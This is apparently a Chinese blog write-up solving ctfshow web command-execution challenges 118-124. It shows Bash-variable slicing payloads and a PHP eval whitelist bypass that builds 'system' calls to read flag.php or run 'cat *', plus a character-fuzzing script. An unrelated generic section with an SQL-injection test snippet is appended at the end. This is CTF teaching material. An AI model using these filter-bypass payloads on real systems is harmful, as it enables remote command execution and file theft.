ctfshow -web -118-124

118.((Bash内置变量))

这题实话不会,看了别人的wp。

此题过滤了许多,白名单只有大写字母和符号。

一般在Linux下环境变量PATH一般是/bin,题目路径PWD/var/www/html

可以利用切片来得到我们需要的字母。但是题目过滤了数字,无法使用切片。换一种方式获取字符。linux可以利用~获得变量的最后几位(从最后开始获取),使用取反号时,任何字母等同于数字0

$PWD和${PWD}    表示当前所在的目录	/var/www/html
${#PWD}         13		前面加个#表示当前目录字符串长度
${PWD:3}        r/www/html	代表从第几位开始截取到后面的所有字符(从零开始)
${PWD:~3}    	html	代表从最后面开始向前截取几位(从零开始)
${PWD:3:1}     	r
${PWD:~3:1} 	h
${PWD:~A}		l	这里的A其实就是表示1
${SHLVL:~A} 	1	代表数字1

所以我们构造nl flag.php,n就是在PATH最后一个字母,l就是PWD的最后一个,flag.php就用通配符?代替,所以最终提交

${PATH:~A}${PWD:~A} ????.???

这题有点奇怪,我用bp竟然没有,有趣有趣。

从下面大佬的脚本学习到了使用fuzz脚本来查看能使用字符的白名单:

import requests
import string

url = "http://545c9513-be92-4706-a7fc-ba5b4b69876a.challenge.ctf.show/"

list = string.ascii_letters+string.digits+"$+-}{_><:?*.~/\\ "

white_list = ""

for payload in list:

    data = {
        "code" : payload
    }

    res = requests.post(url, data=data)

    if "evil input" not in res.text:
        print(payload, end=" ")
        white_list += payload

print()
print(white_list.replace(" ","空格"))

CTFshow web入门 web71~web77 web118~web122 web124 命令执行_ctfshowweb72-优快云博客

119.

和上题一样,还是只有这些能用。

多次发现PATH被过滤了,而PWD没有(看回显就知道了),首先,我假设执行命令是/bin/cat flag.php,这里bin,flag.php都可以用通配符过滤了,这个cat不行,

我们可以来看一下 Linux 系统的 bin 目录下符合要求的命令:

可以看到还是很多的,因此并不一定会执行到我们期望的那个命令

所以可以用??t,构造前,先知道

PWD  /var/www/html 

${USER}=www-data

${#}=0

${#SHLVL}=${##=${#?}=1

${SHLVL}=2 

${#IFS}=3

${PWD:${#}:${##}}       // 表示  /bin

${PWD:~${SHLVL}:${#SHLVL}} = ${PWD:-2:1} = t

因此/bin/cat flag.php  就是${PWD:${#}:${##}}???${PWD:${#}:${##}}??${PWD:~${SHLVL}:${#SHLVL}} ????.???

还要有一种解法是设命令为/bin/base64 flag.php

这里主要是把4构造出来,

然后就需要构造 4 这个字符了,这里可以使用RANDOMRANDOM是一个变量值,随机出现整数,范围为:0~32767,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样
如果需要每次产生的随机数顺序不一样的话,可以在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子

回到构造 4 这个字符上,再Linux中,${#xxx}显示的是这个数值的位数,而如果不加 # 的话就是显示这个数原本的值,比如12345再加上#后就是5
在RANDOM中产生的随机数可以是1、2、3、4、5这个5个数,但1,2,3这三个出现的概率很低,所以基本上是4或5,因此如果要使用RANDOM的话其实也有碰运气的成分在里面,没准就撞到了正确的数。最终得

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???


试了几次还是出来了。

参考了以下文章;

ctfshow-web入门-命令执行(web119、web120、web121、web122)-优快云博客

CTFshow web入门 web71~web77 web118~web122 web124 命令执行_ctfshowweb72-优快云博客

CTFshow web入门 web118------- web124命令执行wp_ctfshow web118-优快云博客

120.

这题有源码,跟上题差不多啊,只限制字符不能超过65,就用上面第二个payload,多试两次试出来了

121.

SHLVL被禁了,用#(可以看看119),就用${##}代替${SHLVL},最终payload

${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???

也可以使用/bin/rev读取,rev命令可以实现文件内容的反序显示,并且其中的v正好在PWD的第一个,不会导致输入值过长。

code=${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???

反过来就好了。

122.

禁了这么多,老实了。发现HOME,RANDOM,我们这里选用命令是/bin/base64 flag.php,之前的命令都因为SHLVL被禁用不了了。这里需要知道:

$? 表示上一条命令执行结束后的传回值。通常0表示执行成功,非0表示执行有误
有部分指令执行失败时会返回1,也有一些命令返回其他值,表示不同类型的错误
比如Command not found就会返回127

为了能让 $? 能够返回1,则需要让前一条命令是错误的,这个错误命令的返回值就是1这里的话可以用 <A,然后就是${RANDOM::1}  RANDOM函数输出随机的整数,1表示输出一个整数,而1被过滤,使用$?即可。最终payload

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

124.

这是经过注释源码

<?php
// 开启PHP脚本
error_reporting(0); // 关闭错误报告,不显示错误信息

if(!isset($_GET['c'])){ // 检查是否有名为 'c' 的GET参数
    show_source(__FILE__); // 如果没有 'c' 参数,显示当前脚本的源代码
}else{
    $content =$_GET['c']; // 将GET参数 'c' 的值赋给变量 $content
    if (strlen($content) >= 80) { // 检查$content 的长度是否大于或等于80
        die("太长了不会算"); // 如果长度超过限制,终止脚本执行并输出消息
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; // 定义不允许输入的字符黑名单
    foreach ($blacklist as$blackitem) { // 遍历黑名单中的每个字符
        if (preg_match('/' . $blackitem . '/m',$content)) { // 检查 $content 中是否包含黑名单字符
            die("请不要输入奇奇怪怪的字符"); // 如果包含,终止脚本执行并输出消息
        }
    }
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; // 定义允许使用的数学函数白名单
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content,$used_funcs); // 提取 $content 中所有可能的函数名
    foreach ($used_funcs[0] as$func) { // 遍历提取出的函数名
        if (!in_array($func,$whitelist)) { // 检查函数名是否在白名单中
            die("请不要输入奇奇怪怪的函数"); // 如果不在白名单中,终止脚本执行并输出消息
        }
    }
    eval('echo '.$content.';'); // 使用 eval 执行$content 作为PHP代码,并输出结果
}
// 结束PHP脚本
?>
构造payload
c=$_GET[a]($_GET[b])&a=system&b=cat f*//这里运用可变函数的知识,详解文章放底下,这里的a,b都不是白名单的,需要替换成白名单的函数

$_GET[abs]($_GET[acos])		//strlen($content) >= 80,有长度限制,所以利用get命令执行
↓
$_GET{abs}($_GET{acos})		//[]在黑名单,用{}代替
↓
$pi=_GET;$$pi{abs}($$pi{acos})
↓
进制转换
base_convert(number,frombase,tobase):在任意进制之间转换数字
number:规定要转换的数
frombase:规定数字原来的进制,介于2和36之间(包括 2 和 36)
tobase:规定要转换的进制,介于 2 和 36 之间(包括 2 和 36)
高于十进制的数字用字母a-z表示,如a表示10,b表示11以及z表示35

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$+-}{_><:?*.~/\空格//字符白名单


dechex():把十进制数转换为十六进制数
hex2bin():把十六进制值的字符串转换为二进制,返回 ASCII 字符
最重要的是hex2bin函数,但是不在白名单里面

base_convert构造hex2bin
base_convert('hex2bin',36,10)	→	37907361743

构造出_GET
_GET	→  hex十六进制 5f474554 (不能有字母所以十六进制不行) →  dec十进制 1598506324	(在线转换)

所以_GET可以写为
hex2bin(dechex(1598506324))
↓
base_convert('37907361743',10,36)(dechex(1598506324))

最后的payload
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=ls
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat *

PHP: 可变函数 - Manual

ctfshow web入门 web118--web122 && web124_ctfshow web入门118-优快云博客

php基础学习之可变函数(web渗透测试关键字绕过rce和回调函数)_phpsystem函数绕过-优快云博客

### CTF SHOW Web 类别挑战资源与解决方案 对于参与CTF SHOW平台上Web类别的挑战,特别是针对`web4`这一具体题目,可以借鉴一些通用的Web安全漏洞利用技巧以及特定于该平台的经验分享。通常情况下,这类挑战会涉及到常见的Web应用程序漏洞,如SQL注入、跨站脚本攻击(XSS)、文件包含漏洞(LFI/RFI)等。 为了更好地理解和解决这些挑战,可以从以下几个方面入手: #### 学习基础理论和技术 深入理解HTTP协议的工作原理及其请求响应机制是非常重要的。掌握如何通过浏览器开发者工具分析网络流量可以帮助识别潜在的安全问题[^1]。 #### 利用在线学习资源 有许多优质的网站提供了关于Web渗透测试的学习材料和实践环境,例如OWASP Top Ten项目文档,它列举并解释了当前最严重的Web应用风险;还有像PortSwigger Academy这样的平台提供了一系列课程来教授各种类型的Web漏洞挖掘方法。 #### 参考社区讨论和Writeup 加入相关的技术论坛或社交媒体群组,在那里可以看到其他参赛者发布的writeups(解题报告),这对于获取灵感非常有帮助。GitHub上也有很多开源仓库专门收集整理了不同赛事下的高质量writeup链接集合。 ```python import requests def check_sql_injection(url, param): test_payload = "' OR '1'='1" data = {param: test_payload} response = requests.post(url, data=data) if "Welcome" in response.text: print(f"[+] SQL Injection vulnerability detected on parameter '{param}'!") else: print("[-] No SQL Injection found.") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值